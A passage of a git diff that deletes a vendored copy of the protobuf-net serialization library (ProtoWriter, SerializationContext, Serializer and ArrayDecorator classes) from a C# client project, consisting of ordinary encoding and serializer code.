0x80); - buffer[index + 4] = (byte) ((int) (value >> 28) | 0x80); - buffer[index + 5] = (byte) ((int) (value >> 35) | 0x80); - buffer[index + 6] = (byte) ((int) (value >> 42) | 0x80); - buffer[index + 7] = (byte) ((int) (value >> 49) | 0x80); - buffer[index + 8] = (byte) ((int) (value >> 56) | 0x80); - buffer[index + 9] = 0x01; // sign bit - IncrementedAndReset(10, writer); - } - return; - case WireType.Fixed32: - checked - { - WriteInt32((int) value, writer); - } - return; - default: - throw CreateException(writer); - } - } - - /// - /// Writes an unsigned 16-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - public static void WriteUInt32(uint value, ProtoWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - switch (writer.wireType) - { - case WireType.Fixed32: - ProtoWriter.WriteInt32((int) value, writer); - return; - case WireType.Fixed64: - ProtoWriter.WriteInt64((int) value, writer); - return; - case WireType.Variant: - WriteUInt32Variant(value, writer); - writer.wireType = WireType.None; - return; - default: - throw CreateException(writer); - } - } - - - /// - /// Writes a signed 16-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant - /// - public static void WriteInt16(short value, ProtoWriter writer) - { - ProtoWriter.WriteInt32(value, writer); - } - - /// - /// Writes an unsigned 16-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - public static void WriteUInt16(ushort value, ProtoWriter writer) - { - ProtoWriter.WriteUInt32(value, writer); - } - - /// - /// Writes an unsigned 8-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - public static void WriteByte(byte value, ProtoWriter writer) - { - ProtoWriter.WriteUInt32(value, writer); - } - - /// - /// Writes a signed 8-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant - /// - public static void WriteSByte(sbyte value, ProtoWriter writer) - { - ProtoWriter.WriteInt32(value, writer); - } - - private static void WriteInt32ToBuffer(int value, byte[] buffer, int index) - { - buffer[index] = (byte) value; - buffer[index + 1] = (byte) (value >> 8); - buffer[index + 2] = (byte) (value >> 16); - buffer[index + 3] = (byte) (value >> 24); - } - - /// - /// Writes a signed 32-bit integer to the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant - /// - public static void WriteInt32(int value, ProtoWriter writer) - { - byte[] buffer; - int index; - if (writer == null) throw new ArgumentNullException("writer"); - switch (writer.wireType) - { - case WireType.Fixed32: - DemandSpace(4, writer); - WriteInt32ToBuffer(value, writer.ioBuffer, writer.ioIndex); - IncrementedAndReset(4, writer); - return; - case WireType.Fixed64: - DemandSpace(8, writer); - buffer = writer.ioBuffer; - index = writer.ioIndex; - buffer[index] = (byte) value; - buffer[index + 1] = (byte) (value >> 8); - buffer[index + 2] = (byte) (value >> 16); - buffer[index + 3] = (byte) (value >> 24); - buffer[index + 4] = buffer[index + 5] = - buffer[index + 6] = buffer[index + 7] = 0; - IncrementedAndReset(8, writer); - return; - case WireType.SignedVariant: - WriteUInt32Variant(Zig(value), writer); - writer.wireType = WireType.None; - return; - case WireType.Variant: - if (value >= 0) - { - WriteUInt32Variant((uint) value, writer); - writer.wireType = WireType.None; - } - else - { - DemandSpace(10, writer); - buffer = writer.ioBuffer; - index = writer.ioIndex; - buffer[index] = (byte) (value | 0x80); - buffer[index + 1] = (byte) ((value >> 7) | 0x80); - buffer[index + 2] = (byte) ((value >> 14) | 0x80); - buffer[index + 3] = (byte) ((value >> 21) | 0x80); - buffer[index + 4] = (byte) ((value >> 28) | 0x80); - buffer[index + 5] = buffer[index + 6] = - buffer[index + 7] = buffer[index + 8] = (byte) 0xFF; - buffer[index + 9] = (byte) 0x01; - IncrementedAndReset(10, writer); - } - return; - default: - throw CreateException(writer); - } - } - - /// - /// Writes a double-precision number to the stream; supported wire-types: Fixed32, Fixed64 - /// - public -#if !FEAT_SAFE - static -#endif - unsafe void WriteDouble(double value, ProtoWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - switch (writer.wireType) - { - case WireType.Fixed32: - float f = (float) value; - if (Helpers.IsInfinity(f) - && !Helpers.IsInfinity(value)) - { - throw new OverflowException(); - } - ProtoWriter.WriteSingle(f, writer); - return; - case WireType.Fixed64: -#if FEAT_SAFE - ProtoWriter.WriteInt64(BitConverter.ToInt64(BitConverter.GetBytes(value), 0), writer); -#else - ProtoWriter.WriteInt64(*(long*) &value, writer); -#endif - return; - default: - throw CreateException(writer); - } - } - - /// - /// Writes a single-precision number to the stream; supported wire-types: Fixed32, Fixed64 - /// - public -#if !FEAT_SAFE - static -#endif - unsafe void WriteSingle(float value, ProtoWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - switch (writer.wireType) - { - case WireType.Fixed32: -#if FEAT_SAFE - ProtoWriter.WriteInt32(BitConverter.ToInt32(BitConverter.GetBytes(value), 0), writer); -#else - ProtoWriter.WriteInt32(*(int*) &value, writer); -#endif - return; - case WireType.Fixed64: - ProtoWriter.WriteDouble((double) value, writer); - return; - default: - throw CreateException(writer); - } - } - - /// - /// Throws an exception indicating that the given enum cannot be mapped to a serialized value. - /// - public static void ThrowEnumException(ProtoWriter writer, object enumValue) - { - if (writer == null) throw new ArgumentNullException("writer"); - string rhs = enumValue == null ? "" : (enumValue.GetType().FullName + "." + enumValue.ToString()); - throw new ProtoException("No wire-value is mapped to the enum " + rhs + " at position " + - writer.position.ToString()); - } - - // general purpose serialization exception message - internal static Exception CreateException(ProtoWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - return - new ProtoException("Invalid serialization operation with wire-type " + writer.wireType.ToString() + - " at position " + writer.position.ToString()); - } - - /// - /// Writes a boolean to the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - public static void WriteBoolean(bool value, ProtoWriter writer) - { - ProtoWriter.WriteUInt32(value ? (uint) 1 : (uint) 0, writer); - } - - /// - /// Copies any extension data stored for the instance to the underlying stream - /// - public static void AppendExtensionData(IExtensible instance, ProtoWriter writer) - { - if (instance == null) throw new ArgumentNullException("instance"); - if (writer == null) throw new ArgumentNullException("writer"); - // we expect the writer to be raw here; the extension data will have the - // header detail, so we'll copy it implicitly - if (writer.wireType != WireType.None) throw CreateException(writer); - - IExtension extn = instance.GetExtensionObject(false); - if (extn != null) - { - // unusually we *don't* want "using" here; the "finally" does that, with - // the extension object being responsible for disposal etc - Stream source = extn.BeginQuery(); - try - { - CopyRawFromStream(source, writer); - } - finally - { - extn.EndQuery(source); - } - } - } - - - private int packedFieldNumber; - - /// - /// Used for packed encoding; indicates that the next field should be skipped rather than - /// a field header written. Note that the field number must match, else an exception is thrown - /// when the attempt is made to write the (incorrect) field. The wire-type is taken from the - /// subsequent call to WriteFieldHeader. Only primitive types can be packed. - /// - public static void SetPackedField(int fieldNumber, ProtoWriter writer) - { - if (fieldNumber <= 0) throw new ArgumentOutOfRangeException("fieldNumber"); - if (writer == null) throw new ArgumentNullException("writer"); - writer.packedFieldNumber = fieldNumber; - } - - internal string SerializeType(System.Type type) - { - return TypeModel.SerializeType(model, type); - } - - /// - /// Specifies a known root object to use during reference-tracked serialization - /// - public void SetRootObject(object value) - { - NetCache.SetKeyedObject(NetObjectCache.Root, value); - } - - /// - /// Writes a Type to the stream, using the model's DynamicTypeFormatting if appropriate; supported wire-types: String - /// - public static void WriteType(System.Type value, ProtoWriter writer) - { - if (writer == null) throw new ArgumentNullException("writer"); - WriteString(writer.SerializeType(value), writer); - } - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/SerializationContext.cs b/Client/Core/ProtoBuf/SerializationContext.cs deleted file mode 100644 index b568e833..00000000 --- a/Client/Core/ProtoBuf/SerializationContext.cs +++ /dev/null @@ -1,96 +0,0 @@ -using System; - -namespace ProtoBuf -{ - /// - /// Additional information about a serialization operation - /// - public sealed class SerializationContext - { - private bool frozen; - - internal void Freeze() - { - frozen = true; - } - - private void ThrowIfFrozen() - { - if (frozen) - throw new InvalidOperationException("The serialization-context cannot be changed once it is in use"); - } - - private object context; - - /// - /// Gets or sets a user-defined object containing additional information about this serialization/deserialization operation. - /// - public object Context - { - get { return context; } - set - { - if (context != value) - { - ThrowIfFrozen(); - context = value; - } - } - } - - private static readonly SerializationContext @default; - - static SerializationContext() - { - @default = new SerializationContext(); - @default.Freeze(); - } - - /// - /// A default SerializationContext, with minimal information. - /// - internal static SerializationContext Default - { - get { return @default; } - } - -#if PLAT_BINARYFORMATTER || (SILVERLIGHT && NET_4_0) - -#if !(WINRT || PHONE7 || PHONE8) - private System.Runtime.Serialization.StreamingContextStates state = System.Runtime.Serialization.StreamingContextStates.Persistence; - /// - /// Gets or sets the source or destination of the transmitted data. - /// - public System.Runtime.Serialization.StreamingContextStates State - { - get { return state; } - set { if (state != value) { ThrowIfFrozen(); state = value; } } - } -#endif - /// - /// Convert a SerializationContext to a StreamingContext - /// - public static implicit operator System.Runtime.Serialization.StreamingContext(SerializationContext ctx) - { -#if WINRT || PHONE7 || PHONE8 - return new System.Runtime.Serialization.StreamingContext(); -#else - if (ctx == null) return new System.Runtime.Serialization.StreamingContext(System.Runtime.Serialization.StreamingContextStates.Persistence); - return new System.Runtime.Serialization.StreamingContext(ctx.state, ctx.context); -#endif - } - /// - /// Convert a StreamingContext to a SerializationContext - /// - public static implicit operator SerializationContext (System.Runtime.Serialization.StreamingContext ctx) - { - SerializationContext result = new SerializationContext(); -#if !(WINRT || PHONE7 || PHONE8) - result.Context = ctx.Context; - result.State = ctx.State; -#endif - return result; - } -#endif - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializer.cs b/Client/Core/ProtoBuf/Serializer.cs deleted file mode 100644 index 2436c3a5..00000000 --- a/Client/Core/ProtoBuf/Serializer.cs +++ /dev/null @@ -1,547 +0,0 @@ -using ProtoBuf.Meta; -using System; -using System.IO; -#if !NO_GENERICS -using System.Collections.Generic; -#endif -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf -{ - /// - /// Provides protocol-buffer serialization capability for concrete, attributed types. This - /// is a *default* model, but custom serializer models are also supported. - /// - /// - /// Protocol-buffer serialization is a compact binary format, designed to take - /// advantage of sparse data and knowledge of specific data types; it is also - /// extensible, allowing a type to be deserialized / merged even if some data is - /// not recognised. - /// - public -#if FX11 - sealed -#else - static -#endif - class Serializer - { -#if FX11 - private Serializer() { } // not a static class for C# 1.2 reasons -#endif -#if !NO_RUNTIME && !NO_GENERICS - /// - /// Suggest a .proto definition for the given type - /// - /// The type to generate a .proto definition for - /// The .proto definition as a string - public static string GetProto() - { - return RuntimeTypeModel.Default.GetSchema(RuntimeTypeModel.Default.MapType(typeof (T))); - } - - /// - /// Create a deep clone of the supplied instance; any sub-items are also cloned. - /// - public static T DeepClone(T instance) - { - return instance == null ? instance : (T) RuntimeTypeModel.Default.DeepClone(instance); - } - - /// - /// Applies a protocol-buffer stream to an existing instance. - /// - /// The type being merged. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - public static T Merge(Stream source, T instance) - { - return (T) RuntimeTypeModel.Default.Deserialize(source, instance, typeof (T)); - } - - /// - /// Creates a new instance from a protocol-buffer stream - /// - /// The type to be created. - /// The binary stream to apply to the new instance (cannot be null). - /// A new, initialized instance. - public static T Deserialize(Stream source) - { - return (T) RuntimeTypeModel.Default.Deserialize(source, null, typeof (T)); - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream. - /// - /// The existing instance to be serialized (cannot be null). - /// The destination stream to write to. - public static void Serialize(Stream destination, T instance) - { - if (instance != null) - { - RuntimeTypeModel.Default.Serialize(destination, instance); - } - } - - /// - /// Serializes a given instance and deserializes it as a different type; - /// this can be used to translate between wire-compatible objects (where - /// two .NET types represent the same data), or to promote/demote a type - /// through an inheritance hierarchy. - /// - /// No assumption of compatibility is made between the types. - /// The type of the object being copied. - /// The type of the new object to be created. - /// The existing instance to use as a template. - /// A new instane of type TNewType, with the data from TOldType. - public static TTo ChangeType(TFrom instance) - { - using (MemoryStream ms = new MemoryStream()) - { - Serialize(ms, instance); - ms.Position = 0; - return Deserialize(ms); - } - } - -#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) - /// - /// Writes a protocol-buffer representation of the given instance to the supplied SerializationInfo. - /// - /// The type being serialized. - /// The existing instance to be serialized (cannot be null). - /// The destination SerializationInfo to write to. - public static void Serialize(System.Runtime.Serialization.SerializationInfo info, T instance) where T : class, System.Runtime.Serialization.ISerializable - { - Serialize(info, new System.Runtime.Serialization.StreamingContext(System.Runtime.Serialization.StreamingContextStates.Persistence), instance); - } - /// - /// Writes a protocol-buffer representation of the given instance to the supplied SerializationInfo. - /// - /// The type being serialized. - /// The existing instance to be serialized (cannot be null). - /// The destination SerializationInfo to write to. - /// Additional information about this serialization operation. - public static void Serialize(System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context, T instance) where T : class, System.Runtime.Serialization.ISerializable - { - // note: also tried byte[]... it doesn't perform hugely well with either (compared to regular serialization) - if (info == null) throw new ArgumentNullException("info"); - if (instance == null) throw new ArgumentNullException("instance"); - if (instance.GetType() != typeof(T)) throw new ArgumentException("Incorrect type", "instance"); - using (MemoryStream ms = new MemoryStream()) - { - RuntimeTypeModel.Default.Serialize(ms, instance, context); - info.AddValue(ProtoBinaryField, ms.ToArray()); - } - } -#endif -#if PLAT_XMLSERIALIZER - /// - /// Writes a protocol-buffer representation of the given instance to the supplied XmlWriter. - /// - /// The type being serialized. - /// The existing instance to be serialized (cannot be null). - /// The destination XmlWriter to write to. - public static void Serialize(System.Xml.XmlWriter writer, T instance) where T : System.Xml.Serialization.IXmlSerializable - { - if (writer == null) throw new ArgumentNullException("writer"); - if (instance == null) throw new ArgumentNullException("instance"); - - using (MemoryStream ms = new MemoryStream()) - { - Serializer.Serialize(ms, instance); - writer.WriteBase64(ms.GetBuffer(), 0, (int)ms.Length); - } - } - /// - /// Applies a protocol-buffer from an XmlReader to an existing instance. - /// - /// The type being merged. - /// The existing instance to be modified (cannot be null). - /// The XmlReader containing the data to apply to the instance (cannot be null). - public static void Merge(System.Xml.XmlReader reader, T instance) where T : System.Xml.Serialization.IXmlSerializable - { - if (reader == null) throw new ArgumentNullException("reader"); - if (instance == null) throw new ArgumentNullException("instance"); - - const int LEN = 4096; - byte[] buffer = new byte[LEN]; - int read; - using (MemoryStream ms = new MemoryStream()) - { - int depth = reader.Depth; - while(reader.Read() && reader.Depth > depth) - { - if (reader.NodeType == System.Xml.XmlNodeType.Text) - { - while ((read = reader.ReadContentAsBase64(buffer, 0, LEN)) > 0) - { - ms.Write(buffer, 0, read); - } - if (reader.Depth <= depth) break; - } - } - ms.Position = 0; - Serializer.Merge(ms, instance); - } - } -#endif - - private const string ProtoBinaryField = "proto"; -#if PLAT_BINARYFORMATTER && !NO_GENERICS && !(WINRT || PHONE8) - /// - /// Applies a protocol-buffer from a SerializationInfo to an existing instance. - /// - /// The type being merged. - /// The existing instance to be modified (cannot be null). - /// The SerializationInfo containing the data to apply to the instance (cannot be null). - public static void Merge(System.Runtime.Serialization.SerializationInfo info, T instance) where T : class, System.Runtime.Serialization.ISerializable - { - Merge(info, new System.Runtime.Serialization.StreamingContext(System.Runtime.Serialization.StreamingContextStates.Persistence), instance); - } - /// - /// Applies a protocol-buffer from a SerializationInfo to an existing instance. - /// - /// The type being merged. - /// The existing instance to be modified (cannot be null). - /// The SerializationInfo containing the data to apply to the instance (cannot be null). - /// Additional information about this serialization operation. - public static void Merge(System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context, T instance) where T : class, System.Runtime.Serialization.ISerializable - { - // note: also tried byte[]... it doesn't perform hugely well with either (compared to regular serialization) - if (info == null) throw new ArgumentNullException("info"); - if (instance == null) throw new ArgumentNullException("instance"); - if (instance.GetType() != typeof(T)) throw new ArgumentException("Incorrect type", "instance"); - - byte[] buffer = (byte[])info.GetValue(ProtoBinaryField, typeof(byte[])); - using (MemoryStream ms = new MemoryStream(buffer)) - { - T result = (T)RuntimeTypeModel.Default.Deserialize(ms, instance, typeof(T), context); - if (!ReferenceEquals(result, instance)) - { - throw new ProtoException("Deserialization changed the instance; cannot succeed."); - } - } - } -#endif - -#if !NO_GENERICS - /// - /// Precompiles the serializer for a given type. - /// - public static void PrepareSerializer() - { -#if FEAT_COMPILER - RuntimeTypeModel model = RuntimeTypeModel.Default; - model[model.MapType(typeof(T))].CompileInPlace(); -#endif - } - -#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) - /// - /// Creates a new IFormatter that uses protocol-buffer [de]serialization. - /// - /// The type of object to be [de]deserialized by the formatter. - /// A new IFormatter to be used during [de]serialization. - public static System.Runtime.Serialization.IFormatter CreateFormatter() - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - return RuntimeTypeModel.Default.CreateFormatter(typeof(T)); -#endif - } -#endif - - /// - /// Reads a sequence of consecutive length-prefixed items from a stream, using - /// either base-128 or fixed-length prefixes. Base-128 prefixes with a tag - /// are directly comparable to serializing multiple items in succession - /// (use the tag to emulate the implicit behavior - /// when serializing a list/array). When a tag is - /// specified, any records with different tags are silently omitted. The - /// tag is ignored. The tag is ignores for fixed-length prefixes. - /// - /// The type of object to deserialize. - /// The binary stream containing the serialized records. - /// The prefix style used in the data. - /// The tag of records to return (if non-positive, then no tag is - /// expected and all records are returned). - /// The sequence of deserialized objects. - public static IEnumerable DeserializeItems(Stream source, PrefixStyle style, int fieldNumber) - { - return RuntimeTypeModel.Default.DeserializeItems(source, style, fieldNumber); - } - - /// - /// Creates a new instance from a protocol-buffer stream that has a length-prefix - /// on data (to assist with network IO). - /// - /// The type to be created. - /// The binary stream to apply to the new instance (cannot be null). - /// How to encode the length prefix. - /// A new, initialized instance. - public static T DeserializeWithLengthPrefix(Stream source, PrefixStyle style) - { - return DeserializeWithLengthPrefix(source, style, 0); - } - - /// - /// Creates a new instance from a protocol-buffer stream that has a length-prefix - /// on data (to assist with network IO). - /// - /// The type to be created. - /// The binary stream to apply to the new instance (cannot be null). - /// How to encode the length prefix. - /// The expected tag of the item (only used with base-128 prefix style). - /// A new, initialized instance. - public static T DeserializeWithLengthPrefix(Stream source, PrefixStyle style, int fieldNumber) - { - RuntimeTypeModel model = RuntimeTypeModel.Default; - return (T) model.DeserializeWithLengthPrefix(source, null, model.MapType(typeof (T)), style, fieldNumber); - } - - /// - /// Applies a protocol-buffer stream to an existing instance, using length-prefixed - /// data - useful with network IO. - /// - /// The type being merged. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// How to encode the length prefix. - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - public static T MergeWithLengthPrefix(Stream source, T instance, PrefixStyle style) - { - RuntimeTypeModel model = RuntimeTypeModel.Default; - return (T) model.DeserializeWithLengthPrefix(source, instance, model.MapType(typeof (T)), style, 0); - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream, - /// with a length-prefix. This is useful for socket programming, - /// as DeserializeWithLengthPrefix/MergeWithLengthPrefix can be used to read the single object back - /// from an ongoing stream. - /// - /// The type being serialized. - /// The existing instance to be serialized (cannot be null). - /// How to encode the length prefix. - /// The destination stream to write to. - public static void SerializeWithLengthPrefix(Stream destination, T instance, PrefixStyle style) - { - SerializeWithLengthPrefix(destination, instance, style, 0); - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream, - /// with a length-prefix. This is useful for socket programming, - /// as DeserializeWithLengthPrefix/MergeWithLengthPrefix can be used to read the single object back - /// from an ongoing stream. - /// - /// The type being serialized. - /// The existing instance to be serialized (cannot be null). - /// How to encode the length prefix. - /// The destination stream to write to. - /// The tag used as a prefix to each record (only used with base-128 style prefixes). - public static void SerializeWithLengthPrefix(Stream destination, T instance, PrefixStyle style, - int fieldNumber) - { - RuntimeTypeModel model = RuntimeTypeModel.Default; - model.SerializeWithLengthPrefix(destination, instance, model.MapType(typeof (T)), style, fieldNumber); - } -#endif - - /// Indicates the number of bytes expected for the next message. - /// The stream containing the data to investigate for a length. - /// The algorithm used to encode the length. - /// The length of the message, if it could be identified. - /// True if a length could be obtained, false otherwise. - public static bool TryReadLengthPrefix(Stream source, PrefixStyle style, out int length) - { - int fieldNumber, bytesRead; - length = ProtoReader.ReadLengthPrefix(source, false, style, out fieldNumber, out bytesRead); - return bytesRead > 0; - } - - /// Indicates the number of bytes expected for the next message. - /// The buffer containing the data to investigate for a length. - /// The offset of the first byte to read from the buffer. - /// The number of bytes to read from the buffer. - /// The algorithm used to encode the length. - /// The length of the message, if it could be identified. - /// True if a length could be obtained, false otherwise. - public static bool TryReadLengthPrefix(byte[] buffer, int index, int count, PrefixStyle style, out int length) - { - using (Stream source = new MemoryStream(buffer, index, count)) - { - return TryReadLengthPrefix(source, style, out length); - } - } -#endif - - /// - /// The field number that is used as a default when serializing/deserializing a list of objects. - /// The data is treated as repeated message with field number 1. - /// - public const int ListItemTag = 1; - - -#if !NO_RUNTIME - /// - /// Provides non-generic access to the default serializer. - /// - public -#if FX11 - sealed -#else - static -#endif - class NonGeneric - { -#if FX11 - private NonGeneric() { } // not a static class for C# 1.2 reasons -#endif - - /// - /// Create a deep clone of the supplied instance; any sub-items are also cloned. - /// - public static object DeepClone(object instance) - { - return instance == null ? null : RuntimeTypeModel.Default.DeepClone(instance); - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream. - /// - /// The existing instance to be serialized (cannot be null). - /// The destination stream to write to. - public static void Serialize(Stream dest, object instance) - { - if (instance != null) - { - RuntimeTypeModel.Default.Serialize(dest, instance); - } - } - - /// - /// Creates a new instance from a protocol-buffer stream - /// - /// The type to be created. - /// The binary stream to apply to the new instance (cannot be null). - /// A new, initialized instance. - public static object Deserialize(System.Type type, Stream source) - { - return RuntimeTypeModel.Default.Deserialize(source, null, type); - } - - /// Applies a protocol-buffer stream to an existing instance. - /// The existing instance to be modified (cannot be null). - /// The binary stream to apply to the instance (cannot be null). - /// The updated instance - public static object Merge(Stream source, object instance) - { - if (instance == null) throw new ArgumentNullException("instance"); - return RuntimeTypeModel.Default.Deserialize(source, instance, instance.GetType(), null); - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream, - /// with a length-prefix. This is useful for socket programming, - /// as DeserializeWithLengthPrefix/MergeWithLengthPrefix can be used to read the single object back - /// from an ongoing stream. - /// - /// The existing instance to be serialized (cannot be null). - /// How to encode the length prefix. - /// The destination stream to write to. - /// The tag used as a prefix to each record (only used with base-128 style prefixes). - public static void SerializeWithLengthPrefix(Stream destination, object instance, PrefixStyle style, - int fieldNumber) - { - if (instance == null) throw new ArgumentNullException("instance"); - RuntimeTypeModel model = RuntimeTypeModel.Default; - model.SerializeWithLengthPrefix(destination, instance, model.MapType(instance.GetType()), style, - fieldNumber); - } - - /// - /// Applies a protocol-buffer stream to an existing instance (or null), using length-prefixed - /// data - useful with network IO. - /// - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// How to encode the length prefix. - /// Used to resolve types on a per-field basis. - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - public static bool TryDeserializeWithLengthPrefix(Stream source, PrefixStyle style, TypeResolver resolver, - out object value) - { - value = RuntimeTypeModel.Default.DeserializeWithLengthPrefix(source, null, null, style, 0, resolver); - return value != null; - } - - /// - /// Indicates whether the supplied type is explicitly modelled by the model - /// - public static bool CanSerialize(Type type) - { - return RuntimeTypeModel.Default.IsDefined(type); - } - } - - - /// - /// Global switches that change the behavior of protobuf-net - /// - public -#if FX11 - sealed -#else - static -#endif - class GlobalOptions - { -#if FX11 - private GlobalOptions() { } // not a static class for C# 1.2 reasons -#endif - - /// - /// - /// - [Obsolete("Please use RuntimeTypeModel.Default.InferTagFromNameDefault instead (or on a per-model basis)", - false)] - public static bool InferTagFromName - { - get { return RuntimeTypeModel.Default.InferTagFromNameDefault; } - set { RuntimeTypeModel.Default.InferTagFromNameDefault = value; } - } - } -#endif - - /// - /// Maps a field-number to a type - /// - public delegate Type TypeResolver(int fieldNumber); - - /// - /// Releases any internal buffers that have been reserved for efficiency; this does not affect any serialization - /// operations; simply: it can be used (optionally) to release the buffers for garbage collection (at the expense - /// of having to re-allocate a new buffer for the next operation, rather than re-use prior buffers). - /// - public static void FlushPool() - { - BufferPool.Flush(); - } - } -} \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/ArrayDecorator.cs b/Client/Core/ProtoBuf/Serializers/ArrayDecorator.cs deleted file mode 100644 index 05116514..00000000 --- a/Client/Core/ProtoBuf/Serializers/ArrayDecorator.cs +++ /dev/null @@ -1,300 +0,0 @@ -#if !NO_RUNTIME -using System; -using System.Collections; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class ArrayDecorator : ProtoDecoratorBase - { - private readonly int fieldNumber; - - private const byte - OPTIONS_WritePacked = 1, - OPTIONS_OverwriteList = 2, - OPTIONS_SupportNull = 4; - - private readonly byte options; - private readonly WireType packedWireType; - - public ArrayDecorator(TypeModel model, IProtoSerializer tail, int fieldNumber, bool writePacked, - WireType packedWireType, Type arrayType, bool overwriteList, bool supportNull) - : base(tail) - { - Helpers.DebugAssert(arrayType != null, "arrayType should be non-null"); - Helpers.DebugAssert(arrayType.IsArray && arrayType.GetArrayRank() == 1, - "should be single-dimension array; " + arrayType.FullName); - this.itemType = arrayType.GetElementType(); -#if NO_GENERICS - Type underlyingItemType = itemType; -#else - Type underlyingItemType = supportNull ? itemType : (Helpers.GetUnderlyingType(itemType) ?? itemType); -#endif - - Helpers.DebugAssert(underlyingItemType == Tail.ExpectedType, "invalid tail"); - Helpers.DebugAssert(Tail.ExpectedType != model.MapType(typeof (byte)), "Should have used BlobSerializer"); - if ((writePacked || packedWireType != WireType.None) && fieldNumber <= 0) - throw new ArgumentOutOfRangeException("fieldNumber"); - if (!ListDecorator.CanPack(packedWireType)) - { - if (writePacked) throw new InvalidOperationException("Only simple data-types can use packed encoding"); - packedWireType = WireType.None; - } - this.fieldNumber = fieldNumber; - this.packedWireType = packedWireType; - if (writePacked) options |= OPTIONS_WritePacked; - if (overwriteList) options |= OPTIONS_OverwriteList; - if (supportNull) options |= OPTIONS_SupportNull; - this.arrayType = arrayType; - } - - private readonly Type arrayType, itemType; // this is, for example, typeof(int[]) - - public override Type ExpectedType - { - get { return arrayType; } - } - - public override bool RequiresOldValue - { - get { return AppendToCollection; } - } - - public override bool ReturnsValue - { - get { return true; } - } - -#if FEAT_COMPILER - protected override void EmitWrite(ProtoBuf.Compiler.CompilerContext ctx, ProtoBuf.Compiler.Local valueFrom) - { - // int i and T[] arr - using (Compiler.Local arr = ctx.GetLocalWithValue(arrayType, valueFrom)) - using (Compiler.Local i = new ProtoBuf.Compiler.Local(ctx, ctx.MapType(typeof(int)))) - { - bool writePacked = (options & OPTIONS_WritePacked) != 0; - using (Compiler.Local token = writePacked ? new Compiler.Local(ctx, ctx.MapType(typeof(SubItemToken))) : null) - { - Type mappedWriter = ctx.MapType(typeof (ProtoWriter)); - if (writePacked) - { - ctx.LoadValue(fieldNumber); - ctx.LoadValue((int)WireType.String); - ctx.LoadReaderWriter(); - ctx.EmitCall(mappedWriter.GetMethod("WriteFieldHeader")); - - ctx.LoadValue(arr); - ctx.LoadReaderWriter(); - ctx.EmitCall(mappedWriter.GetMethod("StartSubItem")); - ctx.StoreValue(token); - - ctx.LoadValue(fieldNumber); - ctx.LoadReaderWriter(); - ctx.EmitCall(mappedWriter.GetMethod("SetPackedField")); - } - EmitWriteArrayLoop(ctx, i, arr); - - if (writePacked) - { - ctx.LoadValue(token); - ctx.LoadReaderWriter(); - ctx.EmitCall(mappedWriter.GetMethod("EndSubItem")); - } - } - } - } - - private void EmitWriteArrayLoop(Compiler.CompilerContext ctx, Compiler.Local i, Compiler.Local arr) - { - // i = 0 - ctx.LoadValue(0); - ctx.StoreValue(i); - - // range test is last (to minimise branches) - Compiler.CodeLabel loopTest = ctx.DefineLabel(), processItem = ctx.DefineLabel(); - ctx.Branch(loopTest, false); - ctx.MarkLabel(processItem); - - // {...} - ctx.LoadArrayValue(arr, i); - if (SupportNull) - { - Tail.EmitWrite(ctx, null); - } - else - { - ctx.WriteNullCheckedTail(itemType, Tail, null); - } - - // i++ - ctx.LoadValue(i); - ctx.LoadValue(1); - ctx.Add(); - ctx.StoreValue(i); - - // i < arr.Length - ctx.MarkLabel(loopTest); - ctx.LoadValue(i); - ctx.LoadLength(arr, false); - ctx.BranchIfLess(processItem, false); - } -#endif - - private bool AppendToCollection - { - get { return (options & OPTIONS_OverwriteList) == 0; } - } - - private bool SupportNull - { - get { return (options & OPTIONS_SupportNull) != 0; } - } - -#if !FEAT_IKVM - public override void Write(object value, ProtoWriter dest) - { - IList arr = (IList) value; - int len = arr.Count; - SubItemToken token; - bool writePacked = (options & OPTIONS_WritePacked) != 0; - if (writePacked) - { - ProtoWriter.WriteFieldHeader(fieldNumber, WireType.String, dest); - token = ProtoWriter.StartSubItem(value, dest); - ProtoWriter.SetPackedField(fieldNumber, dest); - } - else - { - token = new SubItemToken(); // default - } - bool checkForNull = !SupportNull; - for (int i = 0; i < len; i++) - { - object obj = arr[i]; - if (checkForNull && obj == null) - { - throw new NullReferenceException(); - } - Tail.Write(obj, dest); - } - if (writePacked) - { - ProtoWriter.EndSubItem(token, dest); - } - } - - public override object Read(object value, ProtoReader source) - { - int field = source.FieldNumber; - BasicList list = new BasicList(); - if 